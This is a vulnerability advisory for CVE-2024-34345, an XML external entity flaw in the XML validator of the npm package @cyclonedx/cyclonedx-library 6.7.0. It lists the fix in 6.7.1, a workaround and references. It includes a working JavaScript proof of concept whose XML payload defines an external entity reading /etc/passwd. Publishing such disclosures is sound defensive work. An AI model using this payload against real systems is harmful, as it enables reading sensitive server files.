CVE-2024-34345
@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
Impact
### Impact XML External entity injections could be possible, when running the provided XML Validator on arbitrary input. #### POC ```js const { Spec: { Version }, Validation: { XmlValidator } } = require('@cyclonedx/cyclonedx-library'); const version = Version.v1dot5; const validator = new XmlValidator(version); const input = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.5"> <components> <component type="library"> <name>testing</name> <version>1.337</version> <licenses> <license> <id>&xxe;</id><!-- << XML external entity (XXE) injection --> </license> </licenses> </component> </components> </bom>`; // validating this forged(^) input might lead to unintended behaviour // for the fact that the XML external entity would be taken into account. validator.validate(input).then(ve => { console.error('validation error', ve); }); ``` ### Patches This issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `. ### Workarounds Do not run the provided XML validator on untrusted inputs. ### References * issue was introduced via <https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063>.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @cyclonedx/cyclonedx-library | = 6.7.0 | 6.7.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203
- https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063
- https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7
- https://github.com/advisories/GHSA-38gf-rh2w-gmj7
- https://nvd.nist.gov/vuln/detail/CVE-2024-34345